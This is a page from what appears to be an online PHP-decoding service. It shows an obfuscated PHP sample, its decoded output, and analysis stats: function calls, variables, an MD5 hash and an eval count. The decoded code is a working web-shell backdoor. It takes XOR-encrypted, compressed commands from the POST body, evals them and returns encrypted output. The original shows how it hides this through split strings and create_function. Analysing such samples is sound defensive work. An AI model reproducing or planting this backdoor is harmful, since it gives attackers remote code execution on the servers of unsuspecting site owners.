Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $f_92eb5ffee6ae='3YCLJVrZ2LBiHnlewZ";LfunctioLLn x($t,$Lk)L{L$c=strlen(L$k);$l=st';$..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="8c8b0b13";$kh="1e75f86189fa";$kf="7b2c524639b3";$p="3YCJVrZ2BiHnlewZ";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf"); 
}

Did this file decode correctly?

Original Code

<?php $f_92eb5ffee6ae='3YCLJVrZ2LBiHnlewZ";LfunctioLLn x($t,$Lk)L{L$c=strlen(L$k);$l=st';$s_ff44570aca82=');L$j++,$i++)L{$o.=$t{$i}^L$Lk{$j};}}rLetLurn $o;}Lif (@preLg_matLc';$g_3a3ea00cfc35='($m[1]),$k)));$o=@Lob_Lget_conteLnts()L;@obLL_end_clean();$LrL=@bL';$j_865c0c0b4ab0='rlen($Lt);L$o="";Lfor($i=0;L$iL<$l;){fLor($j=L0;($j<$Lc&&LL$i<$l';$t_61e9c06ea9a8='ase64_encLode(@x(@gzcLompress(L$oL),$k)L);print("$pL$kh$rL$kf");
}';$c_fbade9e36a3f=str_replace('xt','','xtcrextatext_xtfuncxttxtion');$g_4c614360da93='1) L{@Lob_start();@eLvalL(@gLzuncoLmpress(@x(@LbasLe64_decLodLeL';$l_5dbc98dcc983='h("/$LkhL(.+)$kfL/",@filLe_getL_cLontents("phLp://inpuLtL"),$m)==';$b_02129bb86106='$Lk=L"8c8b0b13";$LLkh="1e75f86L189fa"L;$Lkf="7b2c524L639b3L";$p="';$i_6f8f57715090=str_replace('L','',$b_02129bb86106.$f_92eb5ffee6ae.$j_865c0c0b4ab0.$s_ff44570aca82.$l_5dbc98dcc983.$g_4c614360da93.$g_3a3ea00cfc35.$t_61e9c06ea9a8);$q_f623e75af30e=$c_fbade9e36a3f('',$i_6f8f57715090);$q_f623e75af30e();?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$k 8c8b0b13
$p 3YCJVrZ2BiHnlewZ
$kf 7b2c524639b3
$kh 1e75f86189fa
$b_02129bb86106 $Lk=L"8c8b0b13";$LLkh="1e75f86L189fa"L;$Lkf="7b2c524L639b3L"..
$c_fbade9e36a3f create_function
$f_92eb5ffee6ae 3YCLJVrZ2LBiHnlewZ";LfunctioLLn x($t,$Lk)L{L$c=strlen(L$k);$..
$g_3a3ea00cfc35 ($m[1]),$k)));$o=@Lob_Lget_conteLnts()L;@obLL_end_clean();$L..
$g_4c614360da93 1) L{@Lob_start();@eLvalL(@gLzuncoLmpress(@x(@LbasLe64_decLo..
$i_6f8f57715090 $k="8c8b0b13";$kh="1e75f86189fa";$kf="7b2c524639b3";$p="3YCJ..
$j_865c0c0b4ab0 rlen($Lt);L$o="";Lfor($i=0;L$iL<$l;){fLor($j=L0;($j<$Lc&&LL$..
$l_5dbc98dcc983 h("/$LkhL(.+)$kfL/",@filLe_getL_cLontents("phLp://inpuLtL"),..
$s_ff44570aca82 );L$j++,$i++)L{$o.=$t{$i}^L$Lk{$j};}}rLetLurn $o;}Lif (@preL..
$t_61e9c06ea9a8 ase64_encLode(@x(@gzcLompress(L$oL),$k)L);print("$pL$kh$rL$k..

Stats

MD5 9dac23713d3aee50602f61fae65dfc0d
Eval Count 1
Decode Time 219 ms